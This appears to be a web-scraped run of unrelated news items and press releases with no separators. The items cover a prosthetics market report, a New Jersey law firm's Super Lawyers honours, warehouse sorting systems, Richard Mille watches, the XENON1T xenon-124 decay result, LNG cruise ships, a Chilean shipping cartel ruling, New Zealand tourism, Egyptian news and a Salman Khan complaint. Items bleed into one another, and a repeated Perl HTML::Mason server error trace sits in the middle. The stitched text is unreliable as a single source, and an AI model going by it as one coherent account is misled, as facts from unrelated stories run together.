chapter, readers can find information about key trends and developments in the Upper Limb Prosthetics market and market attractive analysis based on the applications for each region. Chapter 14 Global Upper Limb Prosthetics Market Analysis 2013-2017 & Opportunity Assessment 2018-2028 by Region This chapter explains how the Upper Limb Prosthetics market will grow across various geographic regions such as North America, Latin America, Europe, East Asia, South Asia, Oceania, and the Middle East & Africa (MEA), China, India and Mexico. Chapter 15 Competition Landscape, Company Share, and Company Profiles In this chapter, readers can find a comprehensive list of all the leading stakeholders in the Upper Limb Prosthetics market, along with detailed information about each company, including company overview, revenue shares, strategic overview, and recent company developments. Market players featured in the report include as Touch Bionics Inc., Fillauer LLC, Endolite India Ltd., Ottobock SE & Co. KGaA, College Park Industries, Steeper Inc., TRS Inc. etc. Chapter 15 Assumptions and Acronyms This chapter includes a list of acronyms and assumptions that provide a base to the information and statistics included in the report. Chapter 16 Research Methodology This chapter helps readers understand the research methodology followed to obtain various conclusions, important qualitative information, and quantitative information about the Upper Limb Prosthetics market. Enquire about this Report @ https://www.mrrse.com/enquiry/19171 About Market Research Reports Search Engine (MRRSE) Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords. MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSE's repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting. Contact Us State Tower 90, State Street Suite 700 Albany, NY - 12207 United States Telephone: +1-518-730-0559 Email: sales@mrrse.com Pennsauken, NJ -- (SBWIRE) -- 04/26/2019 -- The Law Offices of Vincent J. Ciecka, P.C. continue to earn recognition, not just as leading personal injury lawyers in South Jersey but as some of the foremost authorities on personal injury law across the state of New Jersey and nationwide. Vincent J. Ciecka, Esq., the firm's owner and namesake, has once again been recognized by Super Lawyers in 2019 as a top-rated personal injury attorney in Pennsauken, NJ. Super Lawyers is a national "who's who" for attorneys, and receiving a Super Lawyers designation means an attorney has gained the respect of his peers for demonstrating consistent excellence in the state where he practices. No more than 5 percent of lawyers in a given state are recognized as Super Lawyers. Mr. Ciecka, a 1975 graduate of Widener University School of Law, is no stranger to Super Lawyers. He received this stamp of approval every year between 2008 and 2014, and again every year from 2016 to the present day. Michael J. Dennin, Esq., part of the esteemed team of personal injury attorneys at The Law Offices of Vincent J. Ciecka, P.C., was also recognized by Super Lawyers as a Rising Star in New Jersey for 2019. Rising Star is a designation reserved for elite lawyers under the age of 40, and only 2.5 percent of lawyers from each state receive this honor each year. Mr. Dennin's peers in New Jersey already consider him a leader in the field of personal injury law, inviting him to speak at various symposiums throughout the state. He recently gave a presentation on premises liability for the Camden County Bar Association, and he will serve as co-chair for a workers compensation seminar at the New Jersey Association for Justice's Boardwalk Seminar on Friday, May 10, at Harrah's Resort in Atlantic City. The Law Offices of Vincent J. Ciecka, P.C. are proud to serve as trusted personal injury lawyers for the Camden County area and welcome any opportunity to share their experience and expertise with the legal community. For more information about the firm or to speak with an attorney, contact The Law Offices of Vincent J. Ciecka, P.C. today at 856-283-0589. About The Law Offices of Vincent J. Ciecka, P.C. The Law Offices of Vincent J. Ciecka was established in 1976 as a people focused personal injury law firm. The firm treats its clients with the utmost care and respect, and works with their clients to get the best results possible. The firm provides legal representation throughout Philadelphia, Pennsylvania and surrounding counties, and all areas of Central and Southern New Jersey. The Law Offices of Vincent J. Ciecka focus only on handling injury cases in the practice areas of personal injury and workers compensation. Vincent J. Ciecka, P.C., has over four decades of experience providing the highest level of strategic legal representation for all facets of personal injury and workers compensation cases, having taken part in extensive past cases dealing with insurance companies and courts alike. Individuals that have been hurt and need help, call 856-283-0589 or reach them at https://www.ciecka.comand they will fight for them so they can get back to their lifestyle without having to deal with the insurance companies. Albany, NY -- (SBWIRE) -- 04/26/2019 -- Warehousing has traditionally been considered a labor intensive industry. E-commerce has brought rapid technological improvements, paving way toward the fourth industrial revolution in supply chain. In warehouse automated sorting system, sorter is a programmed solution utilized for sorting commodities in a warehouse or distribution center. The solution can be implemented as integrated with warehouse management system or can be deployed as a standalone solution. Report Analysis@ https://www.transparencymarketresearch.com/warehouse-automation-solutions-market.html Warehouse automation involves robots specially designed and programmed for accomplishment of various material handling tasks. These robots are changing the warehousing industry by modernizing and performing labor intensive tasks, such as loading, unloading, transportation, sorting, picking, storage, and delivery in order to increase productivity and fulfill the rising demands of customers. In India, warehouse automation sorting systems have been in use since many years, though in limited functionalities, capabilities, and performance as compared to the systems deployed in North America or other developed regions. Various industries are fueling the deployment of warehouse automated sorting systems for efficient sorting of inventories and products. E-commerce retailers are pacing up automation in their warehouses as they race to deliver goods faster than their competitors in the market. Adoption of warehouse automation solutions continues to grow as they help in faster completion of tasks. These solutions also help increase productivity and efficiency of human labor. Major drivers behind the growth of the warehouse automated sorting systems market are the ability of these systems to simplify tasks and reduce time consumed in sorting, while boosting accuracy, maintaining consistency, and engaging less workforce on a particular task, thus ensuring cost reduction. Adoption of artificial intelligence and machine learning has helped warehouse automated sorting systems achieve this. The warehouse automated sorting systems market is mainly driven by steep competition between online and offline stores. Online retailers try hard to reduce the delivery time of products. However, high initial investment and set-up cost and lack of skilled workforce are hindering the growth of the warehouse automated sorting systems market. In order to increase the adoption of warehouse automated sorting systems, vendors are trying to bring down the cost of the product. The fourth industrial revolution with warehouse robots is expected to serve as an opportunity for the warehouse automated sorting systems market. The global warehouse automated sorting systems market can be categorized based on type, which can further be classified into linear sorter, cross belt sorter, and pick up sorter; and solution, which can either be integrated with warehouse management systems or used as standalone systems; industry, and region. Based on industry, the warehouse automated sorting systems market can be divided into e-commerce, food & beverages, retail, metal & machinery, automotive, manufacturing, pharmaceuticals, chemical, rubber & plastic, etc. in terms of region, the global warehouse automated sorting systems market can be segmented into North America, Asia Pacific, Europe, Middle East & Africa, and South America. For More Industry Insight, Download Brochure@ https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=43088 North America and Europe are projected to hold prominent share of the global warehouse automated sorting systems market during the forecast period. Market players in North America are focused on modernizing warehouses with technological advancements; thus increasing the use of warehouse automated sorting systems. Asia Pacific is anticipated to be the fastest growing market for warehouse automated sorting systems due to rise in the trend of ecommerce in the region, mainly in countries such as China, India, and Australia. The warehouse automated sorting systems market is expected to grow rapidly in Middle East & Africa and South America in the near future as most of the companies are planning to build their warehouses in these regions. Key players operating in the global warehouse automated sorting systems market include GreyOrange Pte. Ltd., Outsource Equipment, Equinox Europe, and Falcon Autotech. These players are testing new autonomous systems to improve warehouse productivity, decrease errors, and cope up with manual labor pressures during peak seasons. Richard Mille takes us back to our childhood with astonishingly realistic horological interpretations of our favourite sweets and a selection of juicy fruit-based designs in the limited edition Bonbon collection. The 60 different colours used for the sweets in this collection are complemented by splashes of colour incorporated into the watch cases in TZP ceramic and a combination of the brands proprietary CarbonTPT and QuartzTPT. But despite the companys considerable expertise in the use of these cutting-edge materials, the development of a new colour can still take time. One year was required, for example, to perfect the turquoise colour of the case for the RM 07-03 Blueberry model. WorldTempus/Paul O'Neil These high-tech cases are highly resistant, but that also means that the materials themselves are resistant to machining! Even though this is a strictly limited collection of just 300 watches in total, the tools in the CNC machines have to be changed after every 20 cases. And these tools can cost anything between 80 and 400 Swiss francs each, which goes some way to explaining why these watches are so expensive. WorldTempus/Paul O'Neil The mechanical movements in the Bonbon collection are, like those in most Richard Mille watches, made out of grade 5 titanium, which is highly unusual in the industry. It is more expensive and more difficult to machine but its lighter weight compared with traditional materials such as brass is crucial to the resistant yet lightweight design of every Richard Mille timepiece. WorldTempus/Paul O'Neil By far the most complex element in this new collection, however, is the dial. The problem of the small size of a dial is a constant in watchmaking, but in this case each dial is also different and poses its own constraints. Consider the wonderful texture of the RM 07-03 Marshmallow, for example. It does indeed resemble that of a real marshmallow, but it is achieved in a process that is finnicky even by the already delicate standards of grand feu enamel: the enamel powder is applied directly to a titanium base and it is the process of heating the mixture that causes it to shrink to give it that spongy effect. For the collection as a whole, 3,000 individual sweets and fruits had to be painted by hand and painstakingly soldered to the dials. The ultimate touch of sweetness: a sugar coating effect created with a mixture of powdered enamel and the fine sand employed in hourglasses. The half-life of a process is the time after which half of the radioactive nuclei present in a sample have decayed away. Using the XENON1T dark-matter detector, a 1,300-kg vat of super-pure liquid xenon shielded from cosmic rays in a cryostat submerged in water deep 1.5 km beneath the Gran Sasso mountains of Italy, physicists from the XENON Collaboration were able to observe the decay of xenon-124 atomic nuclei for the first time. The half-life measured for xenon-124 is about one trillion times longer than the age of the Universe. This makes the observed radioactive decay the so-called double-electron capture of xenon-124 the rarest process ever seen happening in a detector. Not all atoms are stable. Depending on their makeup, some will stabilize themselves by releasing subatomic particles and turning into an atom of a different element a process called radioactive decay. Were much more familiar with radioactive elements like uranium and plutonium these are the wild teenagers of radioactive elements, constantly hurling off particles. Radon-222, for example, has a half-life of just four days. Some elements, however, decay very slowly. Xenon-124 is one such elder statesman, though physicists have estimated its half-life at 160 trillion years as it decays into tellurium-124. The Universe is presumed to be merely 13 to 14 billion years old. The new finding puts the half-life of xenon-124 closer to 18 sextillion years. Half-life doesnt mean it takes that long for each atom to decay. The number simply indicates how long, on average, it will take for the bulk of a radioactive material to reduce itself by half, said Dr. Christopher Tunnell, a physicist at Rice University and a member of the XENON Collaboration. Still, the chance of seeing such an incident for xenon-124 is vanishingly small unless one gathers enough xenon atoms and puts them in the most radio-pure place on Earth. A key point here is that we have so many atoms, so if any decays, well see it. We have a (literal) ton of material. We actually saw this decay happen. Its the longest, slowest process that has ever been directly observed, and our dark matter detector was sensitive enough to measure it, said Dr. Ethan Brown, a physicist at Rensselaer Polytechnic Institute and a member of the XENON Collaboration. Its an amazing to have witnessed this process, and it says that our detector can measure the rarest thing ever recorded. The evidence for xenon decay was produced as a proton inside the nucleus of a xenon atom converted into a neutron. In most elements subject to decay, that happens when one electron is pulled into the nucleus. But two protons in a xenon atom must simultaneously absorb two electrons to convert into two neutrons, an event called double-electron capture. Double-electron capture only happens when two of the electrons are right next to the nucleus at just the right time, which is a rare thing multiplied by another rare thing, making it ultra-rare, Dr. Brown said. When the ultra-rare happened, and a double-electron capture occurred inside the detector, instruments picked up the signal of electrons in the atom re-arranging to fill in for the two that were absorbed into the nucleus. Electrons in double-capture are removed from the innermost shell around the nucleus, and that creates room in that shell. The remaining electrons collapse to the ground state, and we saw this collapse process in our detector, Dr. Brown said. The new results show how well the XENON1T detector can detect very rare processes and reject background signals, said Professor Laura Baudis, an astroparticle physicist at the University of Zurich and a member of the XENON Collaboration. While two neutrinos are emitted in the double-electron capture process, we can now also search for the so-called neutrino-less double-electron capture which could shed light on important questions regarding the nature of neutrinos. The results were published in the April 25 issue of the journal Nature. _____ E. Aprile et al (XENON Collaboration). 2019. Observation of two-neutrino double electron capture in 124Xe with XENON1T. Nature 568: 532-535; doi: 10.1038/s41586-019-1124-4 AIDA Cruises' AIDAnova is the world's first cruise ship to run on low-emission LNG in port and at sea, thanks to its dual-fuel engines. 'We are very proud to operate the most environmentally friendly cruise ship and will continue along this path,' said Felix Eichhorn, president, AIDA Cruises, who along with Capt. Boris Becker welcomed numerous local government and tourism officials on board today. Advanced air quality system In addition to the use of LNG for cruise ships, Costa Group and other Carnival Corp. & plc brands have been pioneering the use of advanced air quality system in the small confines of a cruise ship. Considered an environmental breakthrough, AAQSs are intalled on more than 70% of ships in the Carnival Corp. fleet. Barcelona is currently the largest cruise port to offer LNG bunkering. Thanks to Carnival Corp.'s partnership with Shell Western LNG, AIDAnova will be regularly supplied with LNG there and in Palma de Mallorca, 'We are delighted to receive AIDAnova in Barcelona,' said Francesco Muglia, general manager for Spain & Portugal of Costa Cruises. 'This ship, together with the arrival of Costa Smeralda in October, prove the firm commitment of Costa Group to sustainability and technology while contributing to the cruise industry making sustainable tourism a fundamental part of our industry leadership.' Until early November, AIDAnova will offer seven-day cruises to ports including Civitavecchia (Rome), La Spezia and Marseille and Barcelona. Costa Smeralda Costa Smeralda will call at Barcelona on its first cruise on Oct. 30 before being christened in Savona on Nov. 3. The six-day inaugural voyage will depart from Savona Nov. 4 to Barcelona, Marseille and Civitavecchia. Costa Smerald will then continue to sail the Western Mediterranean until April 2021, offering one-week cruises to Savona, Marseille, Barcelona, Palma de Mallorca, Civitavecchia and La Spezia. Ten Minutes With Frank Huyghe: Discover The Man... Ten Minutes With Frank... RALF TECH is what you get when you unite the worlds of diving and watchmaking the two passions of the brands CEO. In this interview... RALF TECH is what you get when you unite... The accused companies were the Chilean Compania Sudamericana de Vapores (CSAV), which received compensation, and Compania Maritima de Chile (CMC, former Chilean Interoceanic Navigation Company, CCNI); Eukor Car Carriers Inc. (Eukor); and K-Line, Mitsui OSK Lines (MOL) and (NYK). The Tribunal for the Defense of Free Competition (TDLC) partially accepted the collusion requirement filed in January 2015 by the National Economic Prosecutor's Office (FNE) against six shipping companies for having executed an agreement that avoided competition in the service contracting processes of transport of vehicles brought to Chile from Europe, America and Asia. CSAV, which revealed the existence of the agreement through the compensation procedure was exempted from a fine. Japanese line was considered as a second reporter, for which the Court applied a reduced sanction of $6.6m. MOL was also sanctioned, with a $2.5m fine, while CMC, Eukor and K-Line were not convicted, because the TDLC accepted the prescription exception filed by these companies with respect to routes originating in Asian ports. "The TDLC established that for years it [the companies] operated a cartel that avoided competition in the transport of vehicles to Chile, as we accused at the time. We are currently analysing the detail of the sentence and reaffirm our commitment to the persecution of the cartels, which are undoubtedly the worst attack against free competition and affect consumers in our country," said Chiles National Economic Prosecutor, Ricardo Riesco. After the ruling issued by the TDLC, the parties have a period of 10 working days to submit a claim to the Chilean Supreme Court. Through a statement, CSAV explained that: "When in September 2012 the Company received information requests from the United States and Canada, in relation to possible agreements between shipping companies in the transportation of vehicles between 2000 and September 2012, the company proceeded to provide the maximum collaboration with research in development in the different jurisdictions where its services operated. Likewise, it denounced the case before Chile's National Economic Prosecutors Office (FNE) accepting the compensation mechanism." CSAV stated that, "It categorically rejects those practices that attempt against the current legislation in any of the jurisdictions in which it operates and has strict protocols to ensure compliance." Wong moves into the marine role from the post Director-General of Communications which she has held since August 2017. She brings many years of experience across government departments having joined the administrative service in November 1989. Hong Kong Secretary for the Civil Service, Joshua Law, said, "The two appointees are seasoned Administrative Officers with proven leadership and management skills. I have every confidence that they will continue to serve the community with professionalism in their new capacities." Cosco Shipping Bulk and CSIC Qingdao Beihai Shipbuilding Heavy Industry signed the contract on Thursday for the construction of three 210,000 dwt Newcastlemax bulk carriers. The additional order is part of the bulk carrier fleet expansion plans of the company. Cosco Shipping Bulk is looking to build up to 30 Newcastlemax bulk carriers at domestic shipyards to support Aluminum Corporation of Chinas bauxite project in Guinea. Cosco Shipping Bulk inked a bauxite transportation contract with the Aluminum Corporation of China (Hong Kong) in 2018 and started to build the ships for the deal this year. The first ten vessels have been ordered from Cosco Shipping Heavy Industry. Reduced visitor numbers from China are a reminder of the need for New Zealand to keep looking for new potential markets for inbound tourism, Auckland International Airport says. The slowdown, after several years of break-neck expansion, reflects the economic cycles that all visitor source countries go through, says Scott Tasker, the airports aeronautical commercial general manager. Slower growth in the domestic economy had prompted some Chinese consumers to put off overseas holidays or spend less on them. Some Chinese airlines are also consolidating services after adding seat capacity for several years and pricing flights to fill them, he said. Visitor numbers from China in the past six months are down almost 6 percent about 14,000 according to Stats NZ data. But that has been more than offset by increased arrivals from Australia our biggest tourist market and from the US, the third-largest arrivals market behind China. Together with the UK where arrivals have also slowed amid Brexit uncertainty this countrys four-largest tourist markets account for almost two-thirds of all international visitors here. Theres a lot of eggs in those baskets, Tasker told BusinessDesk. While those markets need to be maintained and sustained, we need to make sure that we are aware of those future growth markets as well, he says. The rapid growth of Chinas middle class, coupled with the direct air services made possible by more efficient jet liners, saw its visitor count overtake those from the UK and the US in 2012. In the four years through 2018, annual arrivals growth from China averaged 15 percent. Tasker says we shouldnt be surprised by the sharp slowdown late last year. The big drop in February down 26 percent nationwide reflects both the earlier timing of the Chinese New Year holiday this year and the stellar New Year season in 2018. Even with the latest decline, Chinese arrivals this year will still be higher than in 2017, he says. Arrivals from other major markets Japan, Germany and Korea have also softened during the past year. The decline in UK arrivals down 6 percent nationwide in the year through February doesnt look so bad given the Brexit uncertainty and surge in travel for the mid-2017 Lions tour that is still captured in the year-earlier data, Tasker said. Conversely, arrivals from India climbed almost 11 percent to 68,566 in the year through February; while those from Hong Kong and Indonesia also posted high single-digit increases. Arrivals from the Philippines were 19 percent higher at 28,662 in the year through February and have almost doubled since 2016, according to Stats NZ data. Auckland airport handles about 70 percent of the countrys visitor arrivals and has been a big beneficiary of increased direct services to and from Asia and North America in recent years. Its international passenger count climbed almost 4 percent in the year through February. Tasker says seven airlines offer up to 41 flights a week flying six routes direct from Auckland to mainland China. The new direct service Air New Zealand started to Taipei in November helped increase arrivals from Taiwan by 27 percent in the year through February. Two-way travel in the four months since the service started was 67 percent higher than in the same period the year before. Arrivals from the US have also benefited from the strong economy there and the direct Chicago service Air New Zealand also started in November. That built on the Houston service that started in 2015 and complements other direct services being offered by United Airlines and American Airlines. Almost 355,000 US visitors arrived in New Zealand in the year through February, 5 percent more than a year earlier and about 128,000 more than in 2015, according to Stats NZ. Tasker says it is direct services that are really delivering on years of work by Tourism NZ promoting this country as a tourist destination. Otherwise its a long way to travel and its expensive to get here. But he said the country remains dependent on carriers maintaining that direct capacity against competition from other potential routes and markets. The numbers travelling here are also almost a rounding error relative to the growing outbound tourist populations of some countries. That makes them susceptible to even small swings in the economies and travel preferences in those markets. That said, Tasker says the trends underlying Chinese arrivals here remain strong. Passport numbers in China rose from 38 million, almost 3 percent of the population in 2012, to 129 million in 2016. Its outbound visitors are projected to reach 203 million by 2020, from about 130 million in 2017. And Chinese visitors appear increasingly confident to travel here independently, hiring cars and seeing more of the country. The percentage travelling on group visas dropped to 33 percent in the year through January, down from 55 percent in 2015. Our view is that China still remains a significant opportunity for growth of inbound visitors to New Zealand, Tasker said. The China visitor story still looks very, very positive. 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Related News: Goodman Property Trust (NZX: GMT) GMT to develop North Shore facility for NZ Post 23rd December 2021 Morning Report SkyCity Entertainment Group Limited (NZX: SKC) EXPANDS STRATEGIC PARTNERSHIP WITH GIG Spark New Zealand Limited (NZX: SPK) Spark to take full ownership of Connect 8 22nd December 2021 Morning Report Precinct Properties New Zealand Limited (NZX: PCT) Wynyard Quarter Stage 3 Commenced AMP Limited (NZX: AMP) Announces Delisting from the NZX Main Board 21st December 2021 Morning Report Greenfern Industries Limited (NZX: GFI) Updates on NTA Seeka Limited (NZX: SEK) CLEARS FIRST HURDLE IN NZ FRUITS AMALGAMATION Mumbai: RBI Governor Shaktikanta Das on Thursday said that the country's apex bank is strengthening its surveillance framework in the face of growing significance of FinTech innovations and their interface with the financial sector. Delivering the 17th C.D. Deshmukh Memorial Lecture, he said that recent developments in FinTech have given a fresh impetus to financial inclusion process in the country and policy efforts have been directed in recent years to put in place a state of the art national payments infrastructure and technology platform. Egyptian Present Abdel-Fattah El-Sisi discussed the countrys plan to create an industrial hub in the area around the Suez Canal when he spoke to Chinese and foreign investors during an international forum on Chinas Belt and Road Initiative in Beijing on Friday. El-Sisi told leaders attending the forums opening session on Friday that the Egyptian project, which aims to turn the Canal region into an international industrial and logistics hub, offers Chinese firms and the initiatives member countries promising opportunities as an export hub, especially to those countries with which Egypt has free trade agreements. He also aimed to allay the concerns of investors, saying that a series of economic reforms the Egyptian government is pushing ahead with are aimed at offering a favourable environment for foreign investors seeking to put money into the country. El-Sisi also cited Egypts goal of becoming a regional energy hub, which he said is underpinned by the countrys strategic location straddling the Suez Canal, the fastest shipping route between Asia and Europe. The president also said that China's initiative is in line with Egypts development goals of boosting growth and manufacturing and with the Egypt 2030 Vision, the countrys development plan, which focuses on developing transport, energy and IT infrastructure. El-Sisi, who currently holds the rotating presidency of the African Union, called for boosting cooperation, infrastructure development and intra-regional trade between African countries under the Belt and Road Initiative. The Chinese global infrastructure project, launched in 2013, aims to expand links between Asia, Africa, Europe and beyond, through billions of dollars in infrastructure investment. El-Sisi also urged funding bodies to offer financing to African countries under favourable conditions that would not increase their economic burdens. He referred to the Cape-to-Cairo highway project, which he said had been discussed since the 19th century. The road, planned to be over 10,000 km long, would start from Egypt's Alexandria on the Mediterranean Sea and run through all eastern, central and southern African countries, to reach South Africa. Egyptian officials said the section of the road running from Egypt to the border with Sudan has already been completed. Also on Friday, El-Sisi met with top Chinese business executives to discuss cooperation opportunities, and his governments efforts to streamline doing business in the country and remove obstacles facing Chinese investors there. Search Keywords: Short link: The complaint was filed at the D.N. Nagar Police Station, Andheri West, Mumbai, on Wednesday evening by journalist Ashok Shyamlal Pandey. A police complaint has been filed against Bollywood star Salman Khan for snatching a journalist's mobile phone while he was trying to shoot a video of the actor. According to Pandey, he and his cameraman Syed Irrfan were travelling from Juhu to Kandivali around 4.40 p.m. They saw Salman riding a bicycle. They asked the star's bodyguard if they can make a video of the actor. The bodyguard agreed. "We took out our mobile phones and started shooting. Suddenly, Salman turned around and gestured to his bodyguards. After that bodyguards riding motorcycles approached us. "My cameraman was pushed by one of the guards and he even pushed our car with force. We ended up having an argument with them. Salman turned his cycle and came to us. We told him we were from the press. Salman said 'It doesn't matter'. Then he snatched our mobile phones and left." While the journalists were dialling 100, Salman's bodyguards returned their phone. But Pandey, who asserted that he and his cameraman had taken permission from the bodyguard before shooting his video, wondered if his celebrity status gives Salman the right to snatch someone's phone. According to a source, a cross-complaint has also been lodged by Salman's bodyguard alleging that the person took the video without permission. The Egyptian authorities have stepped up security measures around churches and state institutions ahead of Coptic Easter, which falls this weekend. The interior ministry said in a statement on Friday that it has intensified the security presence in main roads and vital areas around the country, and that checkpoints will be deployed around churches and major buildings, which will also be cordoned off by police to maintain public order and immediately deal with any attempt to disrupt the celebrations. Security patrols will be sent out and rapid deployment and intervention forces will be deployed to secure major areas, the ministry added. Female police personnel will be involved in the inspections. Authorities are also increasing security measures and inspection points at Cairo's underground metro and at railway stations during the holiday period. Easter in the Coptic Orthodox Church falls on Sunday; it was celebrated in the Roman Catholic church and many Protestant churches on 21 April. Egyptians also celebrate the non-religious springtime holiday of Sham El-Nassim on the Monday after Coptic Easter. Coptic Easter Sunday and Sham El-Nassim are both public holidays in Egypt. Egypt's Christian minority make up around 10 percent of the country's 98 million population. The majority of Egyptian Christians are members of the Coptic Orthodox Church. Search Keywords: Short link: System error error: Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. context: ... 21: 22: 23: % foreach my $c (@categories) { 24: <%perl> 25: my $category_id = $c->get_id(); 26: my @stories = Bric::Biz::Asset::Business::Story->list ( { element_type_id=>1148, category_id=>$category_id , Order=> 'cover_date', publish_status => 't' , OrderDirection=> 'DESC' , Limit=>10 } ); 27: 28: 29: ... code stack: /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html:25 /usr/share/perl5/HTML/Mason/Request.pm:951 /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj:17 /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html:149 Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. Trace begun at /usr/share/perl5/HTML/Mason/Exceptions.pm line 129 HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25.^J') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 160 HTML::Mason::Component::run_dynamic_sub('HTML::Mason::Component::FileBased=HASH(0x7f3fec636720)', 'main') called at /usr/share/perl5/HTML/Mason/Request.pm line 951 HTML::Mason::Request::call_dynamic('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec687598)', 'main') called at /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj line 17 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3fec636720)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1305 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 958 HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec687598)') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html line 149 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3fec67e160)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1303 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 436 HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec687598)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 165 HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec687598)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 831 HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x7f3febd12120)', 'Apache2::RequestRec=SCALAR(0x7f3fec692eb0)') called at (eval 487) line 8 HTML::Mason::ApacheHandler::handler('HTML::Mason::ApacheHandler', 'Apache2::RequestRec=SCALAR(0x7f3fec692eb0)') called at -e line 0 eval {...} at -e line 0 System error error: Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. context: ... 21: 22: 23: % foreach my $c (@categories) { 24: <%perl> 25: my $category_id = $c->get_id(); 26: my @stories = Bric::Biz::Asset::Business::Story->list ( { element_type_id=>1148, category_id=>$category_id , Order=> 'cover_date', publish_status => 't' , OrderDirection=> 'DESC' , Limit=>10 } ); 27: 28:
29: ... code stack: /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html:25 /usr/share/perl5/HTML/Mason/Request.pm:951 /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj:17 /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html:149 Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. Trace begun at /usr/share/perl5/HTML/Mason/Exceptions.pm line 129 HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25.^J') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 160 HTML::Mason::Component::run_dynamic_sub('HTML::Mason::Component::FileBased=HASH(0x7f3fec646788)', 'main') called at /usr/share/perl5/HTML/Mason/Request.pm line 951 HTML::Mason::Request::call_dynamic('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec4f0308)', 'main') called at /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj line 17 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3fec646788)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1305 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 958 HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec4f0308)') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html line 149 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3fec641320)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1303 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 436 HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec4f0308)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 165 HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3fec4f0308)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 831 HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x7f3febd12a90)', 'Apache2::RequestRec=SCALAR(0x7f3fec54c400)') called at (eval 487) line 8 HTML::Mason::ApacheHandler::handler('HTML::Mason::ApacheHandler', 'Apache2::RequestRec=SCALAR(0x7f3fec54c400)') called at -e line 0 eval {...} at -e line 0 The Minister of Industry and Foreign Trade issued a decree on 15 April imposing temporary customs duties on imports of semi-finished products of iron or non-alloy steel and steel rebar (bars, rods and coils) for six months. According to the decree, the Ministry of Finance has started collecting 25 per cent customs duties on steel rebar in all its forms and 15 per cent on semi-finished iron products such as billets. The duties will be calculated according to the average international price of steel, which will be announced monthly by the Ministry of Industry and Foreign Trade. The decision is aimed at protecting the local steel industry against dumping. The proceeds from the duties will be directed to the account of the Export Development Fund at the Central Bank of Egypt (CBE). The decree 